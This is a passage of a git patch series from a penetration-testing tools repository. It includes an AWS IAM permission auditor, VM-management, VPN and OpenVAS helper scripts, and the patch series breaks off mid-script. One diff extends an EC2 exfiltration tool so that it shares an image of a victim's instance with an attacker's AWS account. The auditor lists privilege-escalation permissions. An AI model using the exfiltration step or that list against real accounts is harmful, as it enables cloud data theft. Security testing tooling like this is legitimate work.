+ echo + echo -e "-v\t\t\tVerbose mode. Dumps full roles/policies contents." + echo -e "profile\t\t\tAWS credentials profile name." + echo -e "role-name|policy-name\tEither IAM Role name or Policy Arn to evaluate." + echo -e "\t\t\tIf 'all' was specified, will evaluate ALL used IAM Roles" exit 1 fi +VERBOSE=0 +if [[ "$1" == "-v" ]]; then + VERBOSE=1 + shift +fi + PROFILE=$1 ROLE_NAME=$2 known_potentially_dangerous_permissions=( - ".*:\*" - ".*:.*Attach.*" - ".*:.*Create.*" - ".*:.*Delete.*" - ".*:.*Reboot.*" - ".*:.*Command.*" - ".*:.*Run.*" - ".*:.*Send.*" - ".*:.*Batch.*" - ".*:.*Set.*" - ".*:.*Invoke.*" - ".*:.*Add.*" - ".*:.*Execute.*" - ".*:.*Start.*" - ".*:.*Modify.*" - ".*:.*Register.*" - ".*:.*Replace.*" - ".*:.*Change.*" - ".*:.*Update.*" - ".*:.*Put.*" + ".+:\*" + ".*:Add.*" + ".*:Attach.*" + ".*:Batch.*" + ".*:Change.*" + ".*:Command.*" + ".*:Create.*" + ".*:Delete.*" + ".*:Execute.*" + ".*:Invoke.*" + ".*:Modify.*" + ".*:Put.*" + ".*:Reboot.*" + ".*:Register.*" + ".*:Replace.*" + ".*:Run.*" + ".*:Send.*" + ".*:Set.*" + ".*:Start.*" + ".*:Update.*" ) known_dangerous_permissions=( "\*:\*" - "iam:\*" - "iam:CreatePolicyVersion" - "iam:SetDefaultPolicyVersion" - "iam:PassRole" - "ec2:RunInstances" - "iam:CreateAccessKey" - "iam:CreateLoginProfile" - "iam:UpdateLoginProfile" - "iam:AttachUserPolicy" - "iam:AttachGroupPolicy" - "iam:AttachRolePolicy" - "iam:PutUserPolicy" - "iam:PutGroupPolicy" - "iam:PutRolePolicy" - "iam:AddUserToGroup" - "iam:UpdateAssumeRolePolicy" - "sts:AssumeRole" - "iam:PassRole" - "lambda:CreateFunction" - "lambda:InvokeFunction" - "lambda:CreateEventSourceMapping" - "lambda:UpdateFunctionCode" - "glue:CreateDevEndpoint" - "glue:UpdateDevEndpoint" "cloudformation:CreateStack" "datapipeline:CreatePipeline" "datapipeline:PutPipelineDefinition" + "ec2:RunInstances" + "glue:CreateDevEndpoint" + "glue:UpdateDevEndpoint" + "iam:\*" + "iam:AddUserToGroup" + "iam:AttachGroupPolicy" + "iam:AttachRolePolicy" + "iam:AttachUserPolicy" + "iam:CreateAccessKey" + "iam:CreateLoginProfile" + "iam:CreatePolicyVersion" + "iam:PassRole" + "iam:PassRole" + "iam:PutGroupPolicy" + "iam:PutRolePolicy" + "iam:PutUserPolicy" + "iam:SetDefaultPolicyVersion" + "iam:UpdateAssumeRolePolicy" + "iam:UpdateLoginProfile" + "lambda:CreateEventSourceMapping" + "lambda:CreateFunction" + "lambda:InvokeFunction" + "lambda:UpdateFunctionCode" + "sts:AssumeRole" ) -role_policy=$(aws --profile $PROFILE iam get-role --role-name $ROLE_NAME) - -echo -e "=============== Role: $ROLE_NAME ===============" -echo "$role_policy" - -IFS=$'\n' -attached_role_policies=($(aws --profile $PROFILE iam list-attached-role-policies --role-name $ROLE_NAME | jq -r '.AttachedPolicies[].PolicyArn')) +known_dangerous_aws_managed_policies=( + "arn:aws:iam::aws:policy/service-role/AmazonEC2RoleforSSM" + "arn:aws:iam::aws:policy/service-role/AmazonMachineLearningRoleforRedshiftDataSource" +) dangerous_permissions=() potentially_dangerous_permissions=() all_perms=() +used_bad_policies=() -for policy in "${attached_role_policies[@]}" ; do - echo -e "\n=============== Attached Policy Arn: $policy ===============" +function examine_policy() { + policy=$1 + role_name=$2 - version_id=$(aws --profile $PROFILE iam get-policy --policy-arn $policy | jq -r '.Policy.DefaultVersionId') + out=$(aws --profile $PROFILE iam get-policy --policy-arn $policy) + version_id=$(echo "$out" | jq -r '.Policy.DefaultVersionId') + policy_name=$(echo "$out" | jq -r '.Policy.PolicyName') policy_version=$(aws --profile $PROFILE iam get-policy-version --policy-arn $policy --version-id $version_id) - echo "$policy_version" + + if [[ $VERBOSE == 1 ]]; then + echo -e "\n------------[ Policy Arn: $policy ]------------" + echo "$policy_version" + fi permissions=($(echo "$policy_version" | jq -r '.PolicyVersion.Document.Statement[] | select(.Effect=="Allow") | if .Action|type=="string" then [.Action] else .Action end | .[]')) + path="" + if [[ "$role_name" != "" ]]; then + path="$role_name.$policy_name." + else + path="$policy_name." + fi + + if [[ "$ROLE_NAME" != "all" ]] ; then + path="" + fi + + for bad_policy in "${known_dangerous_aws_managed_policies[@]}"; do + if echo "$policy" | grep -iq "$bad_policy" ; then + used_bad_policies+=("$path$bad_policy") + fi + done + for perm in "${permissions[@]}" ; do - all_perms+=("$perm") - for dangperm in "${known_dangerous_permissions[@]}"; do - if echo "$dangperm" | grep -iq $perm ; then - dangerous_permissions+=("$perm") + permadd="$path$perm" + all_perms+=("$permadd") + + for potdangperm in "${known_potentially_dangerous_permissions[@]}"; do + if [[ "$perm" == "iam:*" ]]; then continue ; fi + if echo "$perm" | grep -Piq "$potdangperm" ; then + potentially_dangerous_permissions+=("$permadd") fi done - for dangperm in "${known_potentially_dangerous_permissions[@]}"; do - if echo "$perm" | grep -Piq "$dangperm" ; then - potentially_dangerous_permissions+=("$perm") + + for dangperm in "${known_dangerous_permissions[@]}"; do + if echo "$perm" | grep -iq "$dangperm" ; then + dangerous_permissions+=("$permadd") fi done done -done +} + +function examine_role() { + role_name=$1 + + role_policy=$(aws --profile $PROFILE iam get-role --role-name $role_name) + + if [[ $VERBOSE == 1 ]]; then + echo -e "------------[ Role: $role_name ]------------" + echo "$role_policy" + fi + + attached_role_policies=($(aws --profile $PROFILE iam list-attached-role-policies --role-name $role_name | jq -r '.AttachedPolicies[].PolicyArn')) + + if [[ $VERBOSE == 1 ]]; then + echo + fi + echo "[+] Role ($role_name) has following policies attached:" + for policy in "${attached_role_policies[@]}" ; do + echo -e "\t- $policy" + done + + if [[ $VERBOSE == 1 ]]; then + echo + fi + + for policy in "${attached_role_policies[@]}" ; do + examine_policy $policy $role_name + done +} + +# +#------------------------------------------------------------------ +# + +IFS=$'\n' + +if [[ "$ROLE_NAME" == "all" ]]; then + echo "[+] Evaluating ALL used IAM Roles" + echo + + out=($(aws --profile awl iam list-roles --query 'Roles[*].RoleName' --output text | tr '\t' '\n')) + + for role in "${out[@]}"; do + examine_role $role + done + +elif echo "$ROLE_NAME" | grep -q "arn:aws:iam:" && echo "$ROLE_NAME" | grep -q ":policy/" ; then + echo "[+] Working on specified Policy Arn: $ROLE_NAME" + echo + + examine_policy $ROLE_NAME +else + echo "[+] Working on specified Role: $ROLE_NAME" + echo + + examine_role $ROLE_NAME +fi + +#------------------------------------------------------------------ + +if [[ ${#used_bad_policies[@]} -gt 0 ]]; then + echo -e "\n\n[-] =============== Found AWS Managed Insecure Policies in Use ===============" + echo + sorted=($(echo "${used_bad_policies[@]}" | tr ' ' '\n' | sort -u )) + for pol in "${sorted[@]}"; do + echo -e "\t$pol" + done +fi if [[ ${#all_perms[@]} -gt 0 ]]; then - echo -e "\n\n=============== All permissions granted to this role ===============" + echo -e "\n\n[+] =============== Permissions granted ===============" + echo sorted=($(echo "${all_perms[@]}" | tr ' ' '\n' | sort -u )) for perm in "${sorted[@]}"; do - echo -e "\t$perm" + echo -e "\t$perm" | sed -r 's/\./ -> /g' done if [[ ${#potentially_dangerous_permissions[@]} -gt 0 ]]; then - echo -e "\n\n=============== Detected POTENTIALLY dangerous permissions granted ===============" + echo -e "\n\n[-] =============== Detected POTENTIALLY dangerous permissions granted ===============" + echo sorted=($(echo "${potentially_dangerous_permissions[@]}" | tr ' ' '\n' | sort -u )) for dangperm in "${sorted[@]}"; do - echo -e "\t$dangperm" + echo -e "\t$dangperm" | sed -r 's/\./ -> /g' done - else - echo -e "\nNo potentially dangerous permissions were found to be granted." fi if [[ ${#dangerous_permissions[@]} -gt 0 ]]; then - echo -e "\n\n=============== Detected dangerous permissions granted ===============" + echo -e "\n\n[!] =============== Detected DANGEROUS permissions granted ===============" + echo sorted=($(echo "${dangerous_permissions[@]}" | tr ' ' '\n' | sort -u )) for dangperm in "${sorted[@]}"; do - echo -e "\t$dangperm" + echo -e "\t$dangperm" | sed -r 's/\./ -> /g' done - else - echo -e "\nNo dangerous permissions were found to be granted." fi else echo -e "\nNo permissions were found to be granted." fi +echo From e10c59cfef16d4bba82d0f17faa1d6f934263a31 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Fri, 6 Dec 2019 13:42:03 +0100 Subject: [PATCH 27/34] Added vm-manager --- others/README.md | 29 +++++ others/vm-manager.sh | 281 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 310 insertions(+) create mode 100755 others/vm-manager.sh diff --git a/others/README.md b/others/README.md index 49fda04..ee16585 100644 --- a/others/README.md +++ b/others/README.md @@ -9,4 +9,33 @@ - **`playRTPStream.sh`** - Using rtpdump to play RTP streams from PCAP files with VLC. This script was useful to extract RTP Streams from sniffed VoIP communication and then with a help of VLC to dump those streams into valid .wav files. (https://github.com/hdiniz/rtpdump). [gist](https://gist.github.com/mgeeky/0b8bd81a3f6fb70eec543bc0bae2f079) +- **`vm-manager.sh`** - A bash script offering several aliases/functions for quick management of a single Virtualbox VM machine. Handy to use it for example to manage a Kali box. By issuing `startkali` the VM will raise, `sshkali` - offers instant SSH into your VM, `getkali` - returns VM's IP address, `iskali` - checks whether VM is running, `stopkali` goes without explanation. [gist](https://gist.github.com/mgeeky/80b1f7addb792796d8bfb67188d72f4a) + +``` +user@my-box $ startkali +[>] Launching kali in headless +[>] Awaiting for machine to get up... +Waiting for VM "kali" to power on... +VM "kali" has been successfully started. + 1. Attempting to connect with kali... +[.] Testing: 192.168.56.1 +[.] Testing: 192.168.56.101 +[+] Found VM by ssh probing: 192.168.56.101 +[+] Running VM init commands... +[?] Timed out while trying to run VM_INIT_COMMANDS. +Continuing anyway... +[.] Testing: 192.168.56.1 +[.] Testing: 192.168.56.102 +[+] Found VM by ssh probing: 192.168.56.102 +[+] Running VM init commands... +[+] Updated /etc/hosts file with '192.168.56.102 kali' entry. +[+] Succeeded. kali found in network. + +user@my-box $ sshkali +Linux Kali 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 +Last login: Fri Dec 6 07:40:19 2019 from 192.168.56.1 +root@Kali:~ # hostname +Kali +``` + - **`xor-key-recovery.py`** - Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length - it searches for proper key that could decrypt cipher into text. ([gist](https://gist.github.com/mgeeky/589b2cf781901288dfea0894a780ff98)) diff --git a/others/vm-manager.sh b/others/vm-manager.sh new file mode 100755 index 0000000..97183fe --- /dev/null +++ b/others/vm-manager.sh @@ -0,0 +1,281 @@ +#!/bin/bash +# +# Simple vm-specific management bash functions and aliases. +# Coming with basic functionality of starting, stopping and status checking +# routines. Easy to change to manage other type of VMs. +# +# Providing commands for: +# - starting/stopping selected VM +# - checking whether selected VM is running +# - easily ssh'ing to the selected VM +# - scanning for other VMs +# - setting selected VM's IP address within /etc/hosts (and alike) file +# +# Mariusz B. / mgeeky, '16-'19 +# v0.7 +# + +# VM_NAME as defined in VirtualBox. Name must not contain any special characters, not +# even space. +VM_NAME=kali + +# User's name to be used during ssh. +VM_USER=root + +# Host-only's interface network address and interface +HOST_ONLY_NET=192.168.56.1 +HOST_ONLY_IFACE=vboxnet0 + +# Hosts file where to put the VM's host IP address +HOSTS_FILE=/etc/hosts + +# Command to be run to detect proper VM and pattern to be matched then. +VM_DETECT_COMMAND="uname -a" +VM_DETECT_PATTERN="Linux Kali" + +# Initial commands one would like to get executed upon VM start. +VM_INIT_COMMANDS="dhclient -r eth1 ; dhclient -v eth1" + + + +# +# Will set the following aliases: +# - ssh alias for quick ssh-connection +# - get alias for quick vm's ip resolution +# - start alias for starting up particular vm +# - stop alias for stopping particular vm +# - is alias for checking whether the vm is running. +# +# For instance, when VM_NAME=Kali - the following aliases will be defined: +# sshkali, getkali, and so on +# +function setup_aliases() { + name=$VM_NAME + if [ -z $name ]; then + echo "[!] You must set the VM_NAME variable within that script first!" + exit 1 + fi + alias ssh$name="ssh -o StrictHostKeyChecking=no -Y $VM_USER@$name" + alias get$name="cat $HOSTS_FILE | grep -i $name | cut -d' ' -f1" + alias start$name="startvm" + alias stop$name="stopvm" + alias is$name="VBoxManage list runningvms | grep -qi $name && echo '[+] Running' || echo '[-] Not running';" +} + + +# +# Function for starting particular VM and then detecting it within +# user-specified host-only network, in order to setup correct entry in hosts file. +# Afterwards some additional actions like sshfs mounting could be deployed. +# +function startvm() { + if [ -n "$1" ] && [[ "$1" == "-h" ]]; then + echo "[?] Usage: startvm [mode] - where [mode] is: headless (default) or gui" + return + fi + + name=$VM_NAME + #hostname=${name,,} + hostname=$name + mode=$1 + if [[ "$mode" == "" ]]; then + mode='headless' + elif [[ "$mode" == "gui" ]]; then + mode='gui' + else + echo "[?] Usage: startvm [mode] - where [mode] is: headless (default) or gui" + return + fi + + echo "[>] Launching $name in $mode" + if [[ $(VBoxManage list runningvms | grep -i $name) ]]; then + echo "[+] Already running..." + else + echo "[>] Awaiting for machine to get up..." + VBoxManage startvm $name --type $mode + if [ $? -ne 0 ]; then + echo "[!] Could not get $name started. Bailing out." + exit 1 + fi + + found=0 + sleep 16 + + for i in `seq 1 25`; + do + if [ $found -ne 0 ]; then + break + fi + + echo -e "\t$i. Attempting to connect with $name..." + sleep 3 + + if scan_for_vm; then + found=1 + break + fi + done + + if [ $found -ne 1 ]; then + echo "[!] Critical - could not locate $name VM machine on network." + echo -e "\tYou can always try 'scan_for_vm' command to do a sweep again and retry process." + return + fi + + echo "[+] Succeeded. $name found in network." + fi +} + + +# +# Function for stopping particular VM. +# +function stopvm() { + name=$VM_NAME + hostname=$name + + if VBoxManage list runningvms | grep -qi $name + then + sleep 2 + sudo sed -i "/$hostname/d" $HOSTS_FILE + echo "[+] Stopping $VM_NAME..." + VBoxManage controlvm $name savestate + else + echo "[-] Not running." + return + fi + + sleep 3 + if VBoxManage list runningvms | grep -qi $name + then + echo "[?] Seems that $name do not want to be pasued..." + sleep 2 + VBoxManage controlvm $name acpipowerbutton + + if VBoxManage list runningvms | grep -qi $name + then + echo "[-] Could not pause $name politely. Cut his head!" + sleep 3 + VBoxManage controlvm $name poweroff + else + echo "[+] Ok, it had shut itself down." + fi + fi +} + + +# +# One can use that very function to enumerate available machines +# visible from VMs network interface (under ARP scanning). +# +function find_vms_netdiscover { + sudo netdiscover -i $HOST_ONLY_IFACE -r $HOST_ONLY_NET/24 -N -P | grep ${HOST_ONLY_NET:0:5} | cut -d' ' -f2 | tail -n +2 +} + +function find_vms_nmap { + nmap -sn $HOST_ONLY_NET/24 -oG - | grep Up | awk '{print $2}' +} + +function find_vms { + sudo ifconfig $HOST_ONLY_IFACE up + out="" + if [ -x "$(command -v nmap)" ]; then + out=$(find_vms_nmap) + if test "$out" != ""; then + echo "$out" + return + fi + fi + if [ -x "$(command -v netdiscover)" ]; then + out=$(find_vms_netdiscover) + if test "$out" != ""; then + echo "$out" + return + fi + fi + echo "" +} + +function detect_vm { + out=$(timeout 30s ssh -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 $VM_USER@$1 "$VM_DETECT_COMMAND" 2>/dev/null ) + if [ $? -eq 124 ] || [ $? -eq 255 ]; then + echo "[!] Machine $1 timed out while trying to detect it by ssh probing." + return 1 + fi + + if echo "$out" | grep -qi "$VM_DETECT_PATTERN" ; then + return 0 + else + return 1 + fi +} + +# +# If for some reason `start` command didn't manage to find the VM +# that was starting at that moment, one can repeat the scan & set process +# manually using the below command. +# +function scan_for_vm { + + # Scanning hosts in host-only network made by VirtualBox and then every + # found host will be ssh'd to get it's uname and determine whether it is our vm. + # Thanks to this loop we will not be failing to connect to our VM in case it's + # IP would get assigned differently from VBox dhcp. + hosts=$(find_vms) + + declare -a hostsarray + while read -r host + do + hostsarray+=($host) + done <<< "$hosts" + + sorted_hostsarray=($(echo "${hostsarray[@]}" | tr ' ' '\n' | sort -u)) + for host in $sorted_hostsarray[@]; do + echo "[.] Testing: $host" + detect_vm $host + if [ $? -eq 0 ] + then + # VM found by match in uname's output. + echo "[+] Found VM by ssh probing: $host" + + if [ -n "$VM_INIT_COMMANDS" ]; then + echo "[+] Running VM init commands..." + timeout 1m ssh -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 $VM_USER@$host "$VM_INIT_COMMANDS" 2>/dev/null + if [ $? -eq 124 ]; then + echo "[?] Timed out while trying to run VM_INIT_COMMANDS." + #return 1 + echo "Continuing anyway..." + fi + detect_vm $host + if [ $? -ne 0 ]; then + if [ $# -eq 1 ] && [ "$1" == "again" ] ; then + echo "[!] After initial commands the connection with VM is lost. Repeat the 'scan_for_vm' process" + return 1 + else + scan_for_vm "again" + fi + fi + fi + + # Since the shell does output redirection not sudo, we have to write + # to the hosts file like so: + # + cat $HOSTS_FILE | grep -qi $VM_NAME + if [ $? -eq 0 ] && [ "$1" != "again" ]; then + sudo sed -i -E "s/^[0-9]{1,3}.[0-9]{1,3}+.[0-9]{1,3}+.[0-9]{1,3}+\s+$VM_NAME/$host $VM_NAME/" $HOSTS_FILE + echo "[+] Updated /etc/hosts file with '$host $VM_NAME' entry." + else + echo "$host $hostname" | sudo tee --append $HOSTS_FILE > /dev/null + fi + return 0 + else + #echo "[.] Not our target VM: '$host'" + continue + fi + done + + echo "[!] Could not locate $VM_NAME machine within the network." + return 1 +} + +setup_aliases From f552d315df75b337b533efc94650fcd4143bdc53 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 11 Dec 2019 10:58:24 +0100 Subject: [PATCH 28/34] Added forticlientsslvpn-expect.sh --- clouds/aws/exfiltrate-ec2.py | 22 +++++++++-- linux/prepare-kali.sh | 1 + others/README.md | 2 + others/forticlientsslvpn-expect.sh | 63 ++++++++++++++++++++++++++++++ 4 files changed, 85 insertions(+), 3 deletions(-) create mode 100644 others/forticlientsslvpn-expect.sh diff --git a/clouds/aws/exfiltrate-ec2.py b/clouds/aws/exfiltrate-ec2.py index aa425d2..d9fa49a 100644 --- a/clouds/aws/exfiltrate-ec2.py +++ b/clouds/aws/exfiltrate-ec2.py @@ -21,6 +21,7 @@ # CreateImage: # Abuses: # ec2:CreateImage +# ec2:ModifyImageAttribute # # NOT FULLY IMPLEMENTED YET. # For this technique, the procedure is following - the script will create an image out of specified victim's EC2 @@ -351,13 +352,28 @@ To examine exfiltrated data: except Exception as e: Logger.fatal(f"ec2:CreateImage action on Victim failed. Exception: {e}") - # Step 2: Import custom SSH RSA public key + target_user = self.get_account_id('attacker') + Logger.out(f"Step 2: Modifying image attributes to share it with UserId = {target_user}") + try: + modify_result = victim_client.modify_image_attribute( + Attribute = 'launchPermission', + ImageId = created_image['ImageId'], + OperationType = 'add', + UserIds = [ + target_user, + ] + ) + Logger.ok(f"Image's attributes modified to share it with user {target_user}") + except Exception as e: + Logger.fatal(f"ec2:ModifyImageAttribute action on Victim failed. Exception: {e}") + + # Step 3: Import custom SSH RSA public key # client.import_key_pair( # KeyName = "Some key name" # PublicKeyMaterial = "key material" # ) - # Step 3: Create an instance from exported AMI + # Step 4: Create an instance from exported AMI # client.run_instances( # ImageId = "ami-00000000", # SecurityGroupIds = ["sg-00000", ], @@ -370,7 +386,7 @@ To examine exfiltrated data: # Returns: # "i-00001111002222" - # Step 4: Connect to that EC2 instance + # Step 5: Connect to that EC2 instance # client.describe_instances( # InstanceIds = ["i-00001111002222"], # Query = "Reservations[0].Instances[0].PublicIpAddress" diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 876a71b..b30ad46 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -121,6 +121,7 @@ cd aws git_clone https://github.com/RhinoSecurityLabs/pacu.git ; cd pacu ; bash install.sh ; cd .. git_clone https://github.com/Alfresco/prowler.git git_clone https://github.com/sa7mon/S3Scanner.git +git_clone https://github.com/percolate/ec2-security-groups-dumper.git git_clone https://github.com/ankane/s3tk.git git_clone https://github.com/andresriancho/enumerate-iam git_clone https://github.com/arkadiyt/aws_public_ips.git diff --git a/others/README.md b/others/README.md index ee16585..44be154 100644 --- a/others/README.md +++ b/others/README.md @@ -7,6 +7,8 @@ - **`encrypt.rb`** - Simple File Encryption utility (with support for Blowfish, GOST, IDEA, AES) capable of encrypting directories. ([gist](https://gist.github.com/mgeeky/751c01c4dac99871f4da)) +- **`forticlientsslvpn-expect.sh`** - Forticlient SSL VPN Client launching script utilizing expect. Useful while working for clients exposing their local networks through a Fortinet SSL VPN. [gist](https://gist.githubusercontent.com/mgeeky/8afc0e32b8b97fd6f96fce6098615a93/raw/cf127be09d02e04c00eb578e4ef1219a773d21cf/forticlientsslvpn-expect.sh) + - **`playRTPStream.sh`** - Using rtpdump to play RTP streams from PCAP files with VLC. This script was useful to extract RTP Streams from sniffed VoIP communication and then with a help of VLC to dump those streams into valid .wav files. (https://github.com/hdiniz/rtpdump). [gist](https://gist.github.com/mgeeky/0b8bd81a3f6fb70eec543bc0bae2f079) - **`vm-manager.sh`** - A bash script offering several aliases/functions for quick management of a single Virtualbox VM machine. Handy to use it for example to manage a Kali box. By issuing `startkali` the VM will raise, `sshkali` - offers instant SSH into your VM, `getkali` - returns VM's IP address, `iskali` - checks whether VM is running, `stopkali` goes without explanation. [gist](https://gist.github.com/mgeeky/80b1f7addb792796d8bfb67188d72f4a) diff --git a/others/forticlientsslvpn-expect.sh b/others/forticlientsslvpn-expect.sh new file mode 100644 index 0000000..0acfd1b --- /dev/null +++ b/others/forticlientsslvpn-expect.sh @@ -0,0 +1,63 @@ +#!/bin/bash + +# Forticlient SSL VPN Client launching script utilizing expect. + +# -------------------------------------------- +# CONFIGURATION + +# If empty - script will take some simple logic to locate appropriate binary. +FORTICLIENT_PATH="" + +# VPN Credentials +VPN_HOST="host:10443" +VPN_USER="username" +VPN_PASS="password" + +# -------------------------------------------- + +trap ctrl_c INT + +function ctrl_c() { + echo "Removing left-over files..." + rm -f /tmp/expect +} + +if [[ $EUID -ne 0 ]]; then + echo "This script must be run as root" + exit 1 +fi + +if [ -z "$FORTICLIENT_PATH" ]; then + FORTICLIENT_PATH=`uname -r | grep -q 64 && echo $(locate forticlientsslvpn_cli | grep 64bit) || echo $(locate forticlientsslvpn_cli | grep 32bit)` + if [ ! -f $FORTICLIENT_PATH ]; then + echo "Tried to locate Forticlient SSL VPN Cli binary, but failed." + echo "Specify it at variable FORTCLIENT_PATH" + exit 1 + fi + echo "Located Forticlient VPN Client at: $FORTICLIENT_PATH" +fi + +echo "Killing previous instances of Forticlient SSL VPN client..." +killall -9 $(basename $FORTICLIENT_PATH) 2> /dev/null + +cat << EOF > /tmp/expect +#!/usr/bin/expect -f +match_max 1000000 +set timeout -1 +spawn $FORTICLIENT_PATH --server $VPN_HOST --vpnuser $VPN_USER --keepalive +expect "Password for VPN:" +send -- "$VPN_PASS" +send -- "\r" + +expect "Would you like to connect to this server? (Y/N)" +send -- "Y" +send -- "\r" + +expect "Clean up..." +close +EOF + +chmod 500 /tmp/expect +/usr/bin/expect -f /tmp/expect + +rm -f /tmp/expect \ No newline at end of file From 48f5170d3254b3557fb3b52c14fff6e5aadf8e44 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 11 Dec 2019 11:42:02 +0100 Subject: [PATCH 29/34] openvas-automate.sh --- others/README.md | 2 + others/openvas-automate.sh | 284 +++++++++++++++++++++++++++++++++++++ 2 files changed, 286 insertions(+) create mode 100644 others/openvas-automate.sh diff --git a/others/README.md b/others/README.md index 44be154..e4d44d3 100644 --- a/others/README.md +++ b/others/README.md @@ -9,6 +9,8 @@ - **`forticlientsslvpn-expect.sh`** - Forticlient SSL VPN Client launching script utilizing expect. Useful while working for clients exposing their local networks through a Fortinet SSL VPN. [gist](https://gist.githubusercontent.com/mgeeky/8afc0e32b8b97fd6f96fce6098615a93/raw/cf127be09d02e04c00eb578e4ef1219a773d21cf/forticlientsslvpn-expect.sh) +- **`openvas-automate.sh`** - A simple OpenVAS scanner automation script. If you want to use your custom defined scan type - you'll need to edit script's code, especially `targets` array and `if` decision statement in lines 111-137. [gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7) + - **`playRTPStream.sh`** - Using rtpdump to play RTP streams from PCAP files with VLC. This script was useful to extract RTP Streams from sniffed VoIP communication and then with a help of VLC to dump those streams into valid .wav files. (https://github.com/hdiniz/rtpdump). [gist](https://gist.github.com/mgeeky/0b8bd81a3f6fb70eec543bc0bae2f079) - **`vm-manager.sh`** - A bash script offering several aliases/functions for quick management of a single Virtualbox VM machine. Handy to use it for example to manage a Kali box. By issuing `startkali` the VM will raise, `sshkali` - offers instant SSH into your VM, `getkali` - returns VM's IP address, `iskali` - checks whether VM is running, `stopkali` goes without explanation. [gist](https://gist.github.com/mgeeky/80b1f7addb792796d8bfb67188d72f4a) diff --git a/others/openvas-automate.sh b/others/openvas-automate.sh new file mode 100644 index 0000000..e4624e2 --- /dev/null +++ b/others/openvas-automate.sh @@ -0,0 +1,284 @@ +#!/bin/bash +# +# OpenVAS automation script. +# Mariusz B. / mgeeky, '17 +# v0.2 +# + +trap ctrl_c INT + +# --- CONFIGURATION --- + +USER= +PASS= +HOST=127.0.0.1 +PORT=9390 + +# Must be one of the below defined targets +SCAN_PROFILE="" +#SCAN_PROFILE="Full and fast ultimate" + +FORMAT="PDF" + +# A valid "alive_test" parameter +# Defines how it is determined if the targets are alive +# Currently, valid values are the following: +# Scan Config Default +# ICMP, TCP-ACK Service & ARP Ping +# TCP-ACK Service & ARP Ping +# ICMP & ARP Ping +# ICMP & TCP-ACK Service Ping +# ARP Ping +# TCP-ACK Service Ping +# TCP-SYN Service Ping +# ICMP Ping +# Consider Alive +ALIVE_TEST='ICMP, TCP-ACK Service & ARP Ping' + +# --- END OF CONFIGURATION --- + +targets=( + "Discovery" + "Full and fast" + "Full and fast ultimate" + "Full and very deep" + "Full and very deep ultimate" + "Host Discovery" + "System Discovery" +) + +formats=( + "ARF" + "CPE" + "HTML" + "ITG" + "NBE" + "PDF" + "TXT" + "XML" +) + +able_to_clean=1 + +function usage { + echo + echo -ne "Usage: openvas-automate.sh " + echo + echo -ne "\n host\t- IP address or domain name of the host target." + echo + echo +} + +function omp_cmd { + cmd="omp -u $USER -w \"$PASS\" -h $HOST -p $PORT $@" + #>&2 echo "DBG: OMP cmd: \"$cmd\"" + eval $cmd 2>&1 +} + +function omp_cmd_xml { + omp_cmd "--xml='$@'" +} + +function end { + echo "[>] Performing cleanup" + + if [ $able_to_clean -eq 1 ]; then + omp_cmd -D $task_id + omp_cmd -X '' + fi + exit 1 +} + +function ctrl_c() { + echo "[?] CTRL-C trapped." + exit 1 + end +} + +echo +echo " :: OpenVAS automation script." +echo " mgeeky, 0.2" +echo + +out=$(omp_cmd -g | grep -i "discovery") +if [ -z "$out" ]; then + echo "Exiting due to OpenVAS authentication failure." + exit 1 +fi + +echo "[+] OpenVAS authenticated." + +if [ -z "$SCAN_PROFILE" ]; then + echo "[>] Please select scan type:" + echo -e "\t1. Discovery" + echo -e "\t2. Full and fast" + echo -e "\t3. Full and fast ultimate" + echo -e "\t4. Full and very deep" + echo -e "\t5. Full and very deep ultimate" + echo -e "\t6. Host Discovery" + echo -e "\t7. System Discovery" + echo -e "\t9. Exit" + echo "" + echo "--------------------------------" + + read -p "Please select an option: " m + + if [ $m -eq 9 ]; then exit 0; + elif [ $m -eq 1 ]; then SCAN_PROFILE="Discovery" + elif [ $m -eq 2 ]; then SCAN_PROFILE="Full and fast" + elif [ $m -eq 3 ]; then SCAN_PROFILE="Full and fast ultimate" + elif [ $m -eq 4 ]; then SCAN_PROFILE="Full and very deep" + elif [ $m -eq 5 ]; then SCAN_PROFILE="Full and very deep ultimate" + elif [ $m -eq 6 ]; then SCAN_PROFILE="Host Discovery" + elif [ $m -eq 7 ]; then SCAN_PROFILE="System Discovery" + else echo "[!] Unknown profile selected" && exit 1 + fi + echo +fi + +found=0 + +for i in "${targets[@]}" +do + if [ "$i" == "$SCAN_PROFILE" ]; then + found=1 + break + fi +done + +scan_profile_id=$(omp_cmd -g | grep "$SCAN_PROFILE" | cut -d' ' -f1) +if [ $found -eq 0 ] || [ -z "$scan_profile_id" ]; then + echo "[!] You've selected unknown SCAN_PROFILE. Please change it in script's settings." + exit 1 +fi + +found=0 + +for i in "${formats[@]}" +do + if [ "$i" == "$FORMAT" ]; then + found=1 + break + fi +done + +format_id=$(omp_cmd -F | grep "$FORMAT" | cut -d' ' -f1) + +if [ $found -eq 0 ] || [ -z $format_id ]; then + echo "[!] You've selected unknown FORMAT. Please change it in script's settings." + exit 1 +fi + +if [ -z "$1" ]; then + usage + exit 1 +fi + +TARGET="$1" +host "$TARGET" 2>&1 > /dev/null + +if [ $? -ne 0 ]; then + echo "[!] Specified target host seems to be unavailable!" + read -p "Are you sure you want to continue [Y/n]? " -n 1 -r + echo + if [[ $REPLY =~ ^[Yy]$ ]] + then + echo > /dev/null + else + exit 1 + fi +fi + +echo "[+] Tasked: '$SCAN_PROFILE' scan against '$TARGET' " + +target_id=$(omp_cmd -T | grep "$TARGET" | cut -d' ' -f1) + +out="" +if [ -z "$target_id" ]; then + + echo "[>] Creating a target..." + out=$(omp -u $USER -w '$PASS' -h $HOST -p $PORT --xml=\ +"\ +${TARGET}$TARGET\ +$ALIVE_TEST\ +") + target_id=$(echo "$out" | pcregrep -o1 'id="([^"]+)"') + +else + echo "[>] Reusing target..." +fi + +if [ -z "$target_id" ]; then + echo "[!] Something went wrong, couldn't acquire target's ID! Output:" + echo $out + exit 1 +else + echo "[+] Target's id: $target_id" +fi + +echo "[>] Creating a 